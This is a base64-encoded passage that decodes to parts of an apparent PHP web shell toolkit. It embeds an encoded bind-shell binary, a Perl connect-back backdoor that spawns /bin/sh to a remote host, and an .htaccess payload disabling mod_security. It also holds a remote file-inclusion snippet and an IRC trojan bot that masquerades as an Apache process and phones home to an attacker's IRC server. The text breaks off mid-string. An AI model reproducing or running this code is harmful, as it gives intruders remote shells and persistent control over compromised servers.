QkFBQUFBd0FBQUxTWkJBaTBDUUFBQ0FBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDbkFBQUFBUUFBQUFNQUFBQzhtUVFJdkFrQUFBUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFyQUFBQUFZQUFBQURBQUFBd0prRUNNQUpBQURJQUFBQUJRQUFBQUFBQUFBRUFBQUFDQUFBQUxVQUFBQUJBQUFBQXdBQUFJaWFCQWlJQ2dBQUJBQUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBQzZBQUFBQVFBQUFBTUFBQUNNbWdRSWpBb0FBRWdBQUFBQUFBQUFBQUFBQUFRQUFBQUVBQUFBd3dBQUFBRUFBQUFEQUFBQTFKb0VDTlFLQUFBTUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFNa0FBQUFJQUFBQUF3QUFBT0NhQkFqZ0NnQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQURPQUFBQUFRQUFBQUFBQUFBQUFBQUE0QW9BQUNZQkFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQTF3QUFBQUVBQUFBQUFBQUFBQUFBQUFnTUFBQ0lBQUFBQUFBQUFBQUFBQUFJQUFBQUFBQUFBT1lBQUFBQkFBQUFBQUFBQUFBQUFBQ1FEQUFBSlFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFEMkFBQUFBUUFBQUFBQUFBQUFBQUFBdFF3QUFDc0NBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBZ0VBQUFFQUFBQUFBQUFBQUFBQUFPQU9BQUIyQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUJBQkFBQUJBQUFBQUFBQUFBQUFBQUJXRHdBQXV3RUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQWNBUUFBQVFBQUFEQUFBQUFBQUFBQUVSRUFBTDhBQUFBQUFBQUFBQUFBQUFFQUFBQUJBQUFBRVFBQUFBTUFBQUFBQUFBQUFBQUFBTkFSQUFBbkFRQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRUFBQUFDQUFBQUFBQUFBQUFBQUFCSUdBQUE4QVVBQUNFQUFBQS9BQUFBQkFBQUFCQUFBQUFKQUFBQUF3QUFBQUFBQUFBQUFBQUFPQjRBQUxJREFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVVnUVFJQUFBQUFBTUFBUUFBQUFBQUtJRUVDQUFBQUFBREFBSUFBQUFBQUVpQkJBZ0FBQUFBQXdBREFBQUFBQURnZ1FRSUFBQUFBQU1BQkFBQUFBQUFFSU1FQ0FBQUFBQURBQVVBQUFBQUFNQ0RCQWdBQUFBQUF3QUdBQUFBQUFEb2d3UUlBQUFBQUFNQUJ3QUFBQUFBQ0lRRUNBQUFBQUFEQUFnQUFBQUFBQkNFQkFnQUFBQUFBd0FKQUFBQUFBQ0loQVFJQUFBQUFBTUFDZ0FBQUFBQW9JUUVDQUFBQUFBREFBc0FBQUFBQUtDRkJBZ0FBQUFBQXdBTUFBQUFBQUFraVFRSUFBQUFBQU1BRFFBQUFBQUFSSWtFQ0FBQUFBQURBQTRBQUFBQUFLaUpCQWdBQUFBQUF3QVBBQUFBQUFDc21RUUlBQUFBQUFNQUVBQUFBQUFBdEprRUNBQUFBQUFEQUJFQUFBQUFBTHlaQkFnQUFBQUFBd0FTQUFBQUFBREFtUVFJQUFBQUFBTUFFd0FBQUFBQWlKb0VDQUFBQUFBREFCUUFBQUFBQUl5YUJBZ0FBQUFBQXdBVkFBQUFBQURVbWdRSUFBQUFBQU1BRmdBQUFBQUE0Sm9FQ0FBQUFBQURBQmNBQUFBQUFBQUFBQUFBQUFBQUF3QVlBQUFBQUFBQUFBQUFBQUFBQUFNQUdRQUFBQUFBQUFBQUFBQUFBQUFEQUJvQUFBQUFBQUFBQUFBQUFBQUFBd0FiQUFBQUFBQUFBQUFBQUFBQUFBTUFIQUFBQUFBQUFBQUFBQUFBQUFBREFCMEFBQUFBQUFBQUFBQUFBQUFBQXdBZUFBQUFBQUFBQUFBQUFBQUFBQU1BSHdBQUFBQUFBQUFBQUFBQUFBQURBQ0FBQUFBQUFBQUFBQUFBQUFBQUF3QWhBQUVBQUFBQUFBQUFBQUFBQUFRQThmOE1BQUFBQUFBQUFBQUFBQUFFQVBIL0tBQUFBQUFBQUFBQUFBQUFCQUR4L3k4QUFBQUFBQUFBQUFBQUFBUUE4Zjg2QUFBQUFBQUFBQUFBQUFBRUFQSC9kQUFBQU1TRkJBZ0FBQUFBQWdBTUFJUUFBQUFBQUFBQUFBQUFBQVFBOGYrUEFBQUFySmtFQ0FBQUFBQUJBQkFBblFBQUFMU1pCQWdBQUFBQUFRQVJBS3NBQUFDOG1RUUlBQUFBQUFFQUVnQzRBQUFBNEpvRUNBRUFBQUFCQUJjQXh3QUFBTnlhQkFnQUFBQUFBUUFXQU00QUFBRHNoUVFJQUFBQUFBSUFEQURrQUFBQUc0WUVDQUFBQUFBQ0FBd0FoQUFBQUFBQUFBQUFBQUFBQkFEeC8vQUFBQUN3bVFRSUFBQUFBQUVBRUFEOUFBQUF1SmtFQ0FBQUFBQUJBQkVBQ2dFQUFLaUpCQWdBQUFBQUFRQVBBQmdCQUFDOG1RUUlBQUFBQUFFQUVnQWtBUUFBK0lnRUNBQUFBQUFDQUF3QUx3QUFBQUFBQUFBQUFBQUFCQUR4L3pvQkFBQUFBQUFBQUFBQUFBUUE4ZjkwQVFBQUFBQUFBQUFBQUFBRUFQSC9lQUVBQU1DWkJBZ0FBQUFBQVFJVEFJRUJBQUNzbVFRSUFBQUFBQUFDOGYrU0FRQUFySmtFQ0FBQUFBQUFBdkgvcFFFQUFLeVpCQWdBQUFBQUFBTHgvN1lCQUFDTW1nUUlBQUFBQUFFQ0ZRRE1BUUFBckprRUNBQUFBQUFBQXZILzN3RUFBQUFBQUFCMUFRQUFFZ0FBQVBBQkFBQUFBQUFBY1FBQUFCSUFBQUFCQWdBQVJJa0VDQVFBQUFBUkFBNEFDQUlBQUFBQUFBRE1BQUFBRWdBQUFCb0NBQUFBQUFBQVdnQUFBQklBQUFBcUFnQUEySm9FQ0FBQUFBQVJBaFlBTndJQUFLMklCQWhLQUFBQUVnQU1BRWNDQUFBQUFBQUFlQUFBQUJJQUFBQlpBZ0FBaUlRRUNBQUFBQUFTQUFvQVh3SUFBQUFBQUFBNUFBQUFFZ0FBQUhFQ0FBQUFBQUFBT1FBQUFCSUFBQUNIQWdBQW9JVUVDQUFBQUFBU0FBd0FqZ0lBQUZ5SUJBaFJBQUFBRWdBTUFKNENBQURnbWdRSUFBQUFBQkFBOGYrcUFnQUFRSVlFQ0J3Q0FBQVNBQXdBcndJQUFBQUFBQURtQUFBQUVnQUFBTXdDQUFBQUFBQUFPZ0FBQUJJQUFBRGNBZ0FBMUpvRUNBQUFBQUFnQUJZQTV3SUFBQUFBQUFBNUFBQUFFZ0FBQVBjQ0FBQWtpUVFJQUFBQUFCSUFEUUQ5QWdBQUFBQUFBTGtBQUFBU0FBQUFEUU1BQUFBQUFBQXJBQUFBRWdBQUFCMERBQURnbWdRSUFBQUFBQkFBOGY4a0F3QUE2SVVFQ0FBQUFBQVNBZ3dBT3dNQUFPU2FCQWdBQUFBQUVBRHgvMEFEQUFBQUFBQUFlQUFBQUJJQUFBQlFBd0FBQUFBQUFBNEFBQUFTQUFBQVlRTUFBRWlKQkFnRUFBQUFFUUFPQUhBREFBRFVtZ1FJQUFBQUFCQUFGZ0I5QXdBQUFBQUFBRGtBQUFBU0FBQUFqd01BQUFBQUFBQUFBQUFBSUFBQUFLTURBQUFBQUFBQUFBQUFBQ0FBQUFBQVlXSnBMVzV2ZEdVdVV3QXVMaTl6ZVhOa1pYQnpMMmt6T0RZdlpXeG1MM04wWVhKMExsTUFhVzVwZEM1akFHbHVhWFJtYVc1cExtTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmt6T0RZdGJHbGlZeTlqYzNVdlkzSjBhUzVUQUdOaGJHeGZaMjF2Ymw5emRHRnlkQUJqY25SemRIVm1aaTVqQUY5ZlExUlBVbDlNU1ZOVVgxOEFYMTlFVkU5U1gweEpVMVJmWHdCZlgwcERVbDlNU1ZOVVgxOEFZMjl0Y0d4bGRHVmtMalEwTmpNQWNDNDBORFl5QUY5ZlpHOWZaMnh2WW1Gc1gyUjBiM0p6WDJGMWVBQm1jbUZ0WlY5a2RXMXRlUUJmWDBOVVQxSmZSVTVFWDE4QVgxOUVWRTlTWDBWT1JGOWZBRjlmUmxKQlRVVmZSVTVFWDE4QVgxOUtRMUpmUlU1RVgxOEFYMTlrYjE5bmJHOWlZV3hmWTNSdmNuTmZZWFY0QUM5aWRXbHNaQzlpZFdsc1pHUXZaMnhwWW1NdE1pNHpMall2WW5WcGJHUXRkSEpsWlM5cE16ZzJMV3hwWW1NdlkzTjFMMk55ZEc0dVV3QXhMbU1BWDBSWlRrRk5TVU1BWDE5bWFXNXBYMkZ5Y21GNVgyVnVaQUJmWDJacGJtbGZZWEp5WVhsZmMzUmhjblFBWDE5cGJtbDBYMkZ5Y21GNVgyVnVaQUJmUjB4UFFrRk1YMDlHUmxORlZGOVVRVUpNUlY4QVgxOXBibWwwWDJGeWNtRjVYM04wWVhKMEFHVjRaV05zUUVCSFRFbENRMTh5TGpBQVkyeHZjMlZBUUVkTVNVSkRYekl1TUFCZlpuQmZhSGNBY0dWeWNtOXlRRUJIVEVsQ1ExOHlMakFBWm05eWEwQkFSMHhKUWtOZk1pNHdBRjlmWkhOdlgyaGhibVJzWlFCZlgyeHBZbU5mWTNOMVgyWnBibWtBWVdOalpYQjBRRUJIVEVsQ1ExOHlMakFBWDJsdWFYUUFiR2x6ZEdWdVFFQkhURWxDUTE4eUxqQUFjMlYwYzI5amEyOXdkRUJBUjB4SlFrTmZNaTR3QUY5emRHRnlkQUJmWDJ4cFltTmZZM04xWDJsdWFYUUFYMTlpYzNOZmMzUmhjblFBYldGcGJnQmZYMnhwWW1OZmMzUmhjblJmYldGcGJrQkFSMHhKUWtOZk1pNHdBR1IxY0RKQVFFZE1TVUpEWHpJdU1BQmtZWFJoWDNOMFlYSjBBR0pwYm1SQVFFZE1TVUpEWHpJdU1BQmZabWx1YVFCbGVHbDBRRUJIVEVsQ1ExOHlMakFBWVhSdmFVQkFSMHhKUWtOZk1pNHdBRjlsWkdGMFlRQmZYMmsyT0RZdVoyVjBYM0JqWDNSb2RXNXJMbUo0QUY5bGJtUUFjMlZ1WkVCQVIweEpRa05mTWk0d0FHaDBiMjV6UUVCSFRFbENRMTh5TGpBQVgwbFBYM04wWkdsdVgzVnpaV1FBWDE5a1lYUmhYM04wWVhKMEFITnZZMnRsZEVCQVIweEpRa05mTWk0d0FGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTluYlc5dVgzTjBZWEowWDE4QSI7DQokYmFja19jb25uZWN0cz0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS2FXWWdLQ0VrUVZKSFZsc3dYU2tnZXcwS0lDQndjbWx1ZEdZZ0lsVnpZV2RsT2lBa01DQmJTRzl6ZEYwZ1BGQnZjblErWEc0aU93MEtJQ0JsZUdsMEtERXBPdzBLZlEwS2NISnBiblFnSWxzcVhTQkVkVzF3YVc1bklFRnlaM1Z0Wlc1MGMxeHVJanNOQ2lSb2IzTjBJRDBnSkVGU1IxWmJNRjA3RFFva2NHOXlkQ0E5SURnd093MEthV1lnS0NSQlVrZFdXekZkS1NCN0RRb2dJQ1J3YjNKMElEMGdKRUZTUjFaYk1WMDdEUXA5RFFwd2NtbHVkQ0FpV3lwZElFTnZibTVsWTNScGJtY3VMaTVjYmlJN0RRb2tjSEp2ZEc4Z1BTQm5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWtnZkh3Z1pHbGxLQ0pWYm10dWIzZHVJRkJ5YjNSdlkyOXNYRzRpS1RzTkNuTnZZMnRsZENoVFJWSldSVklzSUZCR1gwbE9SVlFzSUZOUFEwdGZVMVJTUlVGTkxDQWtjSEp2ZEc4cElIeDhJR1JwWlNBb0lsTnZZMnRsZENCRmNuSnZjbHh1SWlrN0RRcHRlU0FrZEdGeVoyVjBJRDBnYVc1bGRGOWhkRzl1S0NSb2IzTjBLVHNOQ21sbUlDZ2hZMjl1Ym1WamRDaFRSVkpXUlZJc0lIQmhZMnNnSWxOdVFUUjRPQ0lzSURJc0lDUndiM0owTENBa2RHRnlaMlYwS1NrZ2V3MEtJQ0JrYVdVb0lsVnVZV0pzWlNCMGJ5QkRiMjV1WldOMFhHNGlLVHNOQ24wTkNuQnlhVzUwSUNKYktsMGdVM0JoZDI1cGJtY2dVMmhsYkd4Y2JpSTdEUXBwWmlBb0lXWnZjbXNvSUNrcElIc05DaUFnYjNCbGJpaFRWRVJKVGl3aVBpWlRSVkpXUlZJaUtUc05DaUFnYjNCbGJpaFRWRVJQVlZRc0lqNG1VMFZTVmtWU0lpazdEUW9nSUc5d1pXNG9VMVJFUlZKU0xDSStKbE5GVWxaRlVpSXBPdzBLSUNCd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFFtRmpheUJDWVdOclpHOXZjaUIyY3lBeExqQWdZbmtnVTI1SmNFVnlYMU5CSUhOdWFYQmxjaTF6WVM1amIyMGdQVDB0TFNBZ1hHNWNiaUk3SUEwS2MzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0xTMDlQVk41YzNSbGJXbHVabTg5UFMwdElEc2dkVzVoYldVZ0xXRTdaV05vYnpzTkNtVmphRzhnTFMwOVBWVnpaWEpwYm1adlBUMHRMU0E3SUdsa08yVmphRzg3WldOb2J5QXRMVDA5UkdseVpXTjBiM0o1UFQwdExTQTdJSEIzWkR0bFkyaHZPeUJsWTJodklDMHRQVDFUYUdWc2JEMDlMUzBnSWlrN0lBMEtJQ0JsZUdWaklIc25MMkpwYmk5emFDZDlJQ2N0WW1GemFDY2dMaUFpWERBaUlIZ2dORHNOQ2lBZ1pYaHBkQ2d3S1RzTkNuMD0iOw0KJHBocF9pbmkxPSJjMkZtWlY5dGIyUmxJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1BTQWdJQ0FnSUNCUFptWT0iOw0KJGh0YWNjZXM9IlBFbG1UVzlrZFd4bElHMXZaRjl6WldOMWNtbDBlUzVqUGcwS0lDQWdJRk5sWTBacGJIUmxja1Z1WjJsdVpTQlBabVlOQ2lBZ0lDQlRaV05HYVd4MFpYSlRZMkZ1VUU5VFZDQlBabVlOQ2p3dlNXWk5iMlIxYkdVKyI7DQokc25pX3Jlcz0iUEQ4TkNtVmphRzhnYVc1cFgyZGxkQ2dpYzJGbVpWOXRiMlJsSWlrN0RRcGxZMmh2SUdsdWFWOW5aWFFvSW05d1pXNWZZbUZ6WldScGNpSXBPdzBLYVc1amJIVmtaU2drWDBkRlZGc2labWxzWlNKZEtUc05DbWx1YVY5eVpYTjBiM0psS0NKellXWmxYMjF2WkdVaUtUc05DbWx1YVY5eVpYTjBiM0psS0NKdmNHVnVYMkpoYzJWa2FYSWlLVHNOQ21WamFHOGdhVzVwWDJkbGRDZ2ljMkZtWlY5dGIyUmxJaWs3RFFwbFkyaHZJR2x1YVY5blpYUW9JbTl3Wlc1ZlltRnpaV1JwY2lJcE93MEthVzVqYkhWa1pTZ2tYMGRGVkZzaWMzTWlYU2s3RFFvL1BnPT0iOw0KDQppZighZW1wdHkoJF9QT1NUWydpcmNhZG1pbiddKSBBTkQgIWVtcHR5KCRfUE9TVFsnaXJjc2VydmVyJ10pIEFORCAhZW1wdHkoJF9QT1NUWydpcmNjaGFuYWwnXSkgQU5EICFlbXB0eSgkX1BPU1RbJ2lyY25hbWUnXSkpDQp7DQokaXJjYWRtaW49JF9QT1NUWydpcmNhZG1pbiddOw0KJGlyY3NlcnZlcj0kX1BPU1RbJ2lyY3NlcnZlciddOw0KJGlyY2NoYW49JF9QT1NUWydpcmNjaGFuYWwnXTsNCiRpcmNsYWJlbD0kX1BPU1RbJ2lyY25hbWUnXTsNCmVjaG8gIjx0aXRsZT5PdmVyY2xvY2tpWCBTaGVsbC1Db25uZWN0b3IgfHwgQ29ubmVjdGluZyB0byAkaXJjc2VydmVyPHRpdGxlPiI7DQplY2hvICI8Ym9keSBiZ2NvbG9yPVwiYmxhY2tcIiB0ZXh0PVwiZ3JlZW5cIj4iOw0KZWNobyAiTm93IENvbm5lY3RpbmcgdG8gPGI+PGZvbnQgY29sb3I9XCJyZWRcIj4kaXJjc2VydmVyPC9mb250PjwvYj4gaW4gPGI+PGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4kaXJjY2hhbjwvZm9udD48L2I+IEFuZG1pbmlzdHJhdG9yczogPGI+PGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4kaXJjYWRtaW48L2ZvbnQ+PC9iPiBCb3RuYW1lIGlzIDxiPjxmb250IGNvbG9yPVwieWVsbG93XCI+JGlyY2xhYmVsPC9mb250PjwvYj4iOw0KZWNobyAiPHA+RG9udCBGb3JnZXQgdG8gRGVsZXRlIExvYWRlci5wbCBpbiAvdG1wPC9wPiI7DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjSVJDIFRyb2phbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQokZmlsZT0iDQojIyMjIyMjIyMjIyMjIyMjIENPTkZJR1VSQUNBTyAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KbXkgXCRwcm9jZXNzbyA9ICcvdXNyL2xvY2FsL2FwYWNoZS9iaW4vaHR0cGQgLURTU0wnOyAjIE5vbWUgZG8gcHJvY2Vzc28gcXVlIHZhaSBhcGFyZWNlIG5vIHBzICMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQpteSBcJGxpbmFzX21heD0nNDgnOyAjIEV2aXRhIG8gZmxvb2QgOikgZGVwb2lzIGRlIFggbGluaGFzICMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQpteSBcJHNsZWVwPSc0JzsgIyBlbGUgZG9ybWUgWCBzZWd1bmRvcyAjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMgSVJDICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KbXkgQGFkbXM9KFwiJGlyY2FkbWluXCIpOyAjIE5pY2sgZG8gYWRtaW5pc3RyYWRvciAjDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KbXkgQGNhbmFpcz0oXCIkaXJjY2hhblwiKTsgIyBDYXNvIGhhamEgc2VuaGEgKFwiI2NhbmFsIDpzZW5oYVwiKSAjDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KbXkgXCRuaWNrPSckaXJjbGFiZWwnOyAjIE5pY2sgZG8gYm90LiBDYXNvIGVzdGVqYSBlbSB1c28gdmFpIGFwYXJlY2VyICMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBhcGFyZWNlciBjb20gbnVtZXJvIHJhZG9uYW1pY28gbm8gZmluYWwgIw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCm15IFwkaXJjbmFtZSA9ICdMaW51eCc7ICMgVXNlciBJRCAjDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KY2hvcCAobXkgXCRyZWFsbmFtZSA9IGB1bmFtZSAtYWApOyAjIEZ1bGwgTmFtZSAjDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KXCRzZXJ2aWRvcj0nJGlyY3NlcnZlcicgdW5sZXNzIFwkc2Vydmlkb3I7ICMgU2Vydmlkb3IgZGUgaXJjIHF1ZSB2YWkgc2VyIHVzYWRvICMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBjYXNvIG7jbyBzZWphIGVzcGVjaWZpY2FkbyBubyBhcmd1bWVudG8gIw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCm15IFwkcG9ydGE9JzY2NjcnOyAjIFBvcnRhIGRvIHNlcnZpZG9yIGRlIGlyYyAjDQojIyMjIyMjIyMjIyMjIyMjIEFDRVNTTyBBIFNIRUxMICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KbXkgXCRzZWN2ID0gMTsgIyAxLzAgcHJhIGhhYmlsaXRhL2Rlc2FiaWxpdGEgYWNlc3NvIGEgc2hlbGwgIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCm15IFwkVkVSU0FPID0gJzAuMic7DQpcJFNJR3snSU5UJ30gPSAnSUdOT1JFJzsNClwkU0lHeydIVVAnfSA9ICdJR05PUkUnOw0KXCRTSUd7J1RFUk0nfSA9ICdJR05PUkUnOw0KXCRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KXCRTSUd7J1BTJ30gPSAnSUdOT1JFJzsNClwkU0lHeydTVE9QJ30gPSAnSUdOT1JFJzsNCnVzZSBJTzo6U29ja2V0Ow0KdXNlIFNvY2tldDsNCnVzZSBJTzo6U2VsZWN0Ow0KY2hkaXIoXCIvXCIpOw0KXCRzZXJ2aWRvcj1cIlwkQVJHVlswXVwiIGlmIFwkQVJHVlswXTsNCiQwPVwiXCRwcm9jZXNzb1wiLlwiXDBcIngxNjs7DQpteSBcJHBpZD1mb3JrOw0KZXhpdCBpZiBcJHBpZDsNCmRpZSBcIlByb2JsZW1hIGNvbSBvIGZvcms6ICQhXCIgdW5sZXNzIGRlZmluZWQoXCRwaWQpOw0KbXkgXCRkY2Nfc2VsID0gbmV3IElPOjpTZWxlY3QtPm5ldygpOw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgQjB0Y2haIG5hIHZlaWEgZWhlaGUgOlAgIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KXCRzZWxfY2xpZW50ZSA9IElPOjpTZWxlY3QtPm5ldygpOw0Kc3ViIHNlbmRyYXcgew0KICBpZiAoJCNfID09ICcxJykgew0KICAgIG15IFwkc29ja2V0ID0gXCRfWzBdOw0KICAgIHByaW50IFwkc29ja2V0IFwiXCRfWzFdXFxuXCI7DQogIH0gZWxzZSB7DQogICAgICBwcmludCBcJElSQ19jdXJfc29ja2V0IFwiXCRfWzBdXFxuXCI7DQogIH0NCn0NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0Kc3ViIGNvbmVjdGFyIHsNCiAgIG15IFwkbWV1bmljayA9IFwkX1swXTsNCiAgIG15IFwkc2Vydmlkb3JfY29uID0gXCRfWzFdOw0KICAgbXkgXCRwb3J0YV9jb24gPSBcJF9bMl07DQoNCiAgIG15IFwkSVJDX3NvY2tldCA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQcm90bz0+XCJ0Y3BcIiwgUGVlckFkZHI9PlwiXCRzZXJ2aWRvcl9jb25cIiwgUGVlclBvcnQ9PlwkcG9ydGFfY29uKSBvciByZXR1cm4oMSk7DQogICBpZiAoZGVmaW5lZChcJElSQ19zb2NrZXQpKSB7DQogICAgIFwkSVJDX2N1cl9zb2NrZXQgPSBcJElSQ19zb2NrZXQ7DQoNCiAgICAgXCRJUkNfc29ja2V0LT5hdXRvZmx1c2goMSk7DQogICAgIFwkc2VsX2NsaWVudGUtPmFkZChcJElSQ19zb2NrZXQpOw0KDQogICAgIFwkaXJjX3NlcnZlcnN7XCRJUkNfY3VyX3NvY2tldH17J2hvc3QnfSA9IFwiXCRzZXJ2aWRvcl9jb25cIjsNCiAgICAgXCRpcmNfc2VydmVyc3tcJElSQ19jdXJfc29ja2V0fXsncG9ydGEnfSA9IFwiXCRwb3J0YV9jb25cIjsNCiAgICAgXCRpcmNfc2VydmVyc3tcJElSQ19jdXJfc29ja2V0fXsnbmljayd9ID0gXCRtZXVuaWNrOw0KICAgICBcJGlyY19zZXJ2ZXJze1wkSVJDX2N1cl9zb2NrZXR9eydtZXVpcCd9ID0gXCRJUkNfc29ja2V0LT5zb2NraG9zdDsNCiAgICAgbmljayhcIlwkbWV1bmlja1wiKTsNCiAgICAgc2VuZHJhdyhcIlVTRVIgXCRpcmNuYW1lIFwiLlwkSVJDX3NvY2tldC0+c29ja2hvc3QuXCIgXCRzZXJ2aWRvcl9jb24gOlwkcmVhbG5hbWVcIik7DQogICAgIHNsZWVwIDE7DQogICB9DQp9ICMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQpteSBcJGxpbmVfdGVtcDsNCndoaWxlKCAxICkgew0KICAgd2hpbGUgKCEoa2V5cyglaXJjX3NlcnZlcnMpKSkgeyBjb25lY3RhcihcIlwkbmlja1wiLCBcIlwkc2Vydmlkb3JcIiwgXCJcJHBvcnRhXCIpOyB9DQogICBkZWxldGUoXCRpcmNfc2VydmVyc3snJ30pIGlmIChkZWZpbmVkKFwkaXJjX3NlcnZlcnN7Jyd9KSk7DQogICAmRENDOjpjb25uZWN0aW9uczsNCiAgIG15IEByZWFkeSA9IFwkc2VsX2NsaWVudGUtPmNhbl9yZWFkKDApOw0KICAgbmV4dCB1bmxlc3MoQHJlYWR5KTsNCiAgIGZvcmVhY2ggXCRmaCAoQHJlYWR5KSB7DQogICAgIFwkSVJDX2N1cl9zb2NrZXQgPSBcJGZoOw0KICAgICBcJG1ldW5pY2sgPSBcJGlyY19zZXJ2ZXJze1wkSVJDX2N1cl9zb2NrZXR9eyduaWNrJ307DQogICAgIFwkbnJlYWQgPSBzeXNyZWFkKFwkZmgsIFwkbXNnLCA0MDk2KTsNCiAgICAgaWYgKFwkbnJlYWQgPT0gMCkgew0KICAgICAgICBcJHNlbF9jbGllbnRlLT5yZW1vdmUoXCRmaCk7DQogICAgICAgIFwkZmgtPmNsb3NlOw0KICAgICAgICBkZWxldGUoXCRpcmNfc2VydmVyc3tcJGZofSk7DQogICAgIH0NCiAgICAgQGxpbmVzID0gc3BsaXQgKC9cXG4vLCBcJG1zZyk7DQoNCiAgICAgZm9yKG15IFwkYz0wOyBcJGM8PSAkI2xpbmVzOyBcJGMrKykgew0KICAgICAgIFwkbGluZSA9IFwkbGluZXNbXCRjXTsNCiAgICAgICBcJGxpbmU9XCRsaW5lX3RlbXAuXCRsaW5lIGlmIChcJGxpbmVfdGVtcCk7DQogICAgICAgXCRsaW5lX3RlbXA9Jyc7DQogICAgICAgXCRsaW5lID1+IHMvXFxyJC8vOw0KICAgICAgIHVubGVzcyAoXCRjID09ICQjbGluZXMpIHsNCiAgICAgICAgIHBhcnNlKFwiXCRsaW5lXCIpOw0KICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgIGlmICgkI2xpbmVzID09IDApIHsNCiAgICAgICAgICAgICBwYXJzZShcIlwkbGluZVwiKTsNCiAgICAgICAgICAgfSBlbHNpZiAoXCRsaW5lc1tcJGNdID1+IC9cXHIkLykgew0KICAgICAgICAgICAgICAgcGFyc2UoXCJcJGxpbmVcIik7DQogICAgICAgICAgIH0gZWxzaWYgKFwkbGluZSA9fiAvXihcUyspIE5PVElDRSBBVVRIIDpcKlwqXCovKSB7DQogICAgICAgICAgICAgICBwYXJzZShcIlwkbGluZVwiKTsNCiAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgIFwkbGluZV90ZW1wID0